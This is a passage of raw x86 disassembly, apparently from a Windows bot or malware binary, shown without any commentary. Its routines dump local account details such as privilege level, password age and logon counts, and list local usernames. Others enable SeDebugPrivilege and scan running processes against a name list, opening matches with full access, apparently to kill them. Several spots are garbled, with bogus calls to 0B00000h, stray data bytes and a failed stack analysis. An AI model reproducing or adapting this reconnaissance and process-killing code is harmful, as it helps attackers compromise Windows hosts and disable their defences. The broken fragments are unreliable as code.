		leave
		retn
sub_41971F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419779	proc near		; CODE XREF: sub_419654+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4194CF
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4194CF
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_4D10B8
		pop	esi
		retn
sub_419779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41979A	proc near		; CODE XREF: sub_419654+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4194CF
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4194CF
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_4D1248
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_419B27
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419B62
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41BF36
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4198B3
		dec	eax
		jz	short loc_4198AC
		dec	eax
		jz	short loc_4198A5
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198A5:				; CODE XREF: sub_41979A+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198AC:				; CODE XREF: sub_41979A+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198B3:				; CODE XREF: sub_41979A+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4198B8:				; CODE XREF: sub_41979A+109j
					; sub_41979A+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419B53
; ---------------------------------------------------------------------------


loc_419B27:				; CODE XREF: sub_41979A+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_441418
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4099D2
		add	esp, 20h


loc_419B53:				; CODE XREF: sub_41979A+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_419B62
		push	[ebp+var_4]
		call	ds:dword_4D1280


loc_419B62:				; CODE XREF: sub_41979A+40j
					; sub_41979A+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_41979A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B68	proc near		; CODE XREF: seg000:0040617Dp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4194CF
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 18h


loc_419BA7:				; CODE XREF: sub_419B68+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_4D1150
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419C08
		cmp	eax, 0EAh
		jz	short loc_419C08
		push	eax
		push	eax
		call	sub_419CE8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_4415F8
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 24h
		jmp	short loc_419C83
; ---------------------------------------------------------------------------


loc_419C08:				; CODE XREF: sub_419B68+62j
					; sub_419B68+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_419C96
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419C83


loc_419C1A:				; CODE XREF: sub_419B68+EDj
		cmp	edi, esi
		jz	short loc_419C59
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419C1A
		jmp	short loc_419C83
; ---------------------------------------------------------------------------


loc_419C59:				; CODE XREF: sub_419B68+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4415C4
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 1Ch


loc_419C83:				; CODE XREF: sub_419B68+9Ej
					; sub_419B68+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_419C96
		push	edi
		call	ds:dword_4D1280
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_419C96:				; CODE XREF: sub_419B68+A5j
					; sub_419B68+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_419BA7
		cmp	edi, esi
		jz	short loc_419CAE
		push	edi
		call	ds:dword_4D1280


loc_419CAE:				; CODE XREF: sub_419B68+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419B68	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CE8	proc near		; CODE XREF: sub_41933E+41p
					; sub_419533+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419D9A
		jz	loc_419D93
		cmp	eax, 7Bh
		ja	short loc_419D5F
		jz	short loc_419D55
		cmp	eax, 5
		jz	short loc_419D4B
		cmp	eax, 8
		jz	short loc_419D41
		cmp	eax, 32h
		jz	short loc_419D37
		cmp	eax, 35h
		jz	short loc_419D2D
		cmp	eax, 57h
		jnz	loc_419DE9
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D2D:				; CODE XREF: sub_419CE8+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D37:				; CODE XREF: sub_419CE8+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D41:				; CODE XREF: sub_419CE8+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D4B:				; CODE XREF: sub_419CE8+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D55:				; CODE XREF: sub_419CE8+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D5F:				; CODE XREF: sub_419CE8+1Aj
		sub	eax, 7Ch
		jz	short loc_419D8C
		sub	eax, 7C8h
		jz	short loc_419D85
		dec	eax
		jz	short loc_419D7B
		dec	eax
		jnz	short loc_419DE9
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D7B:				; CODE XREF: sub_419CE8+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D85:				; CODE XREF: sub_419CE8+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419D8C:				; CODE XREF: sub_419CE8+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419D93:				; CODE XREF: sub_419CE8+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419D9A:				; CODE XREF: sub_419CE8+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419DD3
		jz	short loc_419DCC
		sub	eax, 8ADh
		jz	short loc_419DFE
		dec	eax
		dec	eax
		jz	short loc_419DC5
		dec	eax
		jz	short loc_419DBE
		dec	eax
		dec	eax
		jnz	short loc_419DE9
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DBE:				; CODE XREF: sub_419CE8+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419CE8+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DCC:				; CODE XREF: sub_419CE8+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DD3:				; CODE XREF: sub_419CE8+B9j
		sub	eax, 8CAh
		jz	short loc_419E05
		sub	eax, 17h
		jz	short loc_419DFE
		sub	eax, 25h
		jz	short loc_419DF7
		sub	eax, 29h
		jz	short loc_419DF0


loc_419DE9:				; CODE XREF: sub_419CE8+35j
					; sub_419CE8+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DF0:				; CODE XREF: sub_419CE8+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DF7:				; CODE XREF: sub_419CE8+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DFE:				; CODE XREF: sub_419CE8+C2j
					; sub_419CE8+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419E05:				; CODE XREF: sub_419CE8+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419E0A:				; CODE XREF: sub_419CE8+40j
					; sub_419CE8+4Aj ...
		push	offset dword_4E0E10
		call	sub_41BF36
		pop	ecx
		mov	eax, offset dword_4E0E10
		pop	ecx
		retn
sub_419CE8	endp

; ---------------------------------------------------------------------------


loc_419E1C:				; CODE XREF: seg000:004061C3p
		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-718h]
		push	eax
		call	sub_41DF04
		add	esp, 0Ch
		lea	eax, [ebp+8]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp-108h]
		push	eax
		mov	[ebp+8], esi
		call	near ptr 0B00000h
		sbb	al, 8Dh
		test	edi, eax
; ---------------------------------------------------------------------------
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	esi
		push	eax
		lea	eax, [ebp-318h]
		push	eax
		call	sub_41DF04
		lea	eax, [ebp-718h]
		push	eax
		call	sub_41DEE7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp-718h]
		push	eax
		lea	eax, [ebp-318h]
		push	0
		push	eax
		push	0
		call	ds:dword_4D1200
		test	eax, eax
		jnz	short loc_419EAC
		mov	esi, offset dword_4E0C0C
		push	offset unk_44192C
		push	esi
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_419ED5
; ---------------------------------------------------------------------------


loc_419EAC:				; CODE XREF: seg000:00419E96j
		lea	ecx, [ebp-718h]
		push	ecx
		lea	ecx, [ebp-318h]
		push	ecx
		push	eax
		call	sub_419CE8
		pop	ecx
		mov	esi, offset dword_4E0C0C
		push	eax
		push	offset dword_441900
		push	esi
		call	sub_41BF36
		add	esp, 14h


loc_419ED5:				; CODE XREF: seg000:00419EAAj
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EDA	proc near		; CODE XREF: sub_417517+45p
					; sub_417517+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0B00000h
		xchg	eax, edx
		push	eax
		call	ds:dword_4D11D4
		test	eax, eax
		jnz	short loc_419EF9
		leave
		retn
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419EDA+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_4D11AC
		test	eax, eax
		jz	short loc_419F37
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419F20
		or	[ebp+var_8], 2
		jmp	short loc_419F24
; ---------------------------------------------------------------------------


loc_419F20:				; CODE XREF: sub_419EDA+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419F24:				; CODE XREF: sub_419EDA+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_4D125C
		mov	esi, eax


loc_419F37:				; CODE XREF: sub_419EDA+32j
		push	[ebp+var_4]
		call	ds:dword_42706C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419EDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F45	proc near		; CODE XREF: seg000:00409352p
					; sub_41A174+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_4D1210, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_41A144
		cmp	ds:dword_4D11F4, ebx
		jz	loc_41A144
		cmp	ds:dword_4D1104, ebx
		jz	loc_41A144
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_4D1210
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41A137
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	ds:dword_4D11F4
		mov	esi, ds:dword_42706C
		test	eax, eax
		jz	loc_41A132
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	ds:dword_4D1104
		test	eax, eax
		jz	loc_41A132
		mov	edi, ds:dword_427084
		mov	ebx, 1F0FFFh


loc_41A009:				; CODE XREF: sub_419F45+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_41A070
		mov	[ebp+var_4], offset off_441958


loc_41A017:				; CODE XREF: sub_419F45+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	ds:dword_427188	; lstrcmpiA
		test	eax, eax
		jz	short loc_41A03F
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_4419B8
		jl	short loc_41A017
		jmp	loc_41A118
; ---------------------------------------------------------------------------


loc_41A03F:				; CODE XREF: sub_419F45+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi ; dword_427084
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41A118
		push	0
		push	eax
		call	near ptr 0B00000h
		push	ss
		test	eax, eax
		jnz	loc_41A118


loc_41A066:				; CODE XREF: sub_419F45+1B9j
		push	[ebp+var_4]
		call	esi ; dword_42706C
		jmp	loc_41A118
; ---------------------------------------------------------------------------


loc_41A070:				; CODE XREF: sub_419F45+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41A103
		cmp	[ebp+arg_4], eax
		jz	loc_41A118
		push	[ebp+var_128]
		push	8
		call	ds:dword_4D1210
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41A0C3
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	ds:dword_4D10B0
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41A0C9
		lea	eax, [ebp+var_234]
		jmp	short loc_41A0CF
; ---------------------------------------------------------------------------


loc_41A0C3:				; CODE XREF: sub_419F45+15Cj
		push	[ebp+var_128]


loc_41A0C9:				; CODE XREF: sub_419F45+174j
		lea	eax, [ebp+var_10C]


loc_41A0CF:				; CODE XREF: sub_419F45+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41BF36
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_41A066
; ---------------------------------------------------------------------------


loc_41A103:				; CODE XREF: sub_419F45+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A14B


loc_41A118:				; CODE XREF: sub_419F45+F5j
					; sub_419F45+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4D1104
		test	eax, eax
		jnz	loc_41A009
		xor	ebx, ebx


loc_41A132:				; CODE XREF: sub_419F45+9Dj
					; sub_419F45+B3j
		push	[ebp+var_8]
		call	esi ; dword_42706C


loc_41A137:				; CODE XREF: sub_419F45+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx


loc_41A144:				; CODE XREF: sub_419F45+3Aj
					; sub_419F45+46j ...
		xor	eax, eax


loc_41A146:				; CODE XREF: sub_419F45+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A14B:				; CODE XREF: sub_419F45+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi ; dword_427084
		push	[ebp+var_8]
		mov	edi, eax
		call	esi ; dword_42706C
		push	0
		push	edi
		call	near ptr 0B00000h
		das
		test	eax, eax
		jnz	short loc_41A16F
		push	edi
		call	esi ; dword_42706C
		jmp	short loc_41A144
; ---------------------------------------------------------------------------


loc_41A16F:				; CODE XREF: sub_419F45+223j
		push	1
		pop	eax
		jmp	short loc_41A146
sub_419F45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A174	proc near		; DATA XREF: seg000:0040419Do

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_441B58
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41BF36
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41A1D3
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4099D2
		add	esp, 14h


loc_41A1D3:				; CODE XREF: sub_41A174+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419F45
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41A1FB
		push	offset unk_441B34
		jmp	short loc_41A200
; ---------------------------------------------------------------------------


loc_41A1FB:				; CODE XREF: sub_41A174+7Ej
		push	offset unk_441B10


loc_41A200:				; CODE XREF: sub_41A174+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41BF36
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A233
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4099D2
		add	esp, 14h


loc_41A233:				; CODE XREF: sub_41A174+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4157A6
		push	[ebp+var_14]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		in	eax, 5Fh
		pop	esi
sub_41A174	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A252	proc near		; CODE XREF: seg000:004092F0p
					; sub_40B149+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 0B00000h
		sub	ecx, [ebx+74F685F0h]
		push	ss
		push	0
		push	esi
		call	near ptr 0B00000h
		push	cs
		test	eax, eax
		jnz	short loc_41A284
		push	esi
		xor	edi, edi
		call	ds:dword_42706C	; CloseHandle


loc_41A284:				; CODE XREF: sub_41A252+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A252	endp

; ---------------------------------------------------------------------------
		push	esi
		xor	esi, esi


loc_41A28C:				; CODE XREF: seg000:0041A2A7j
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419F45
		add	esp, 18h
		push	ds:dword_441954
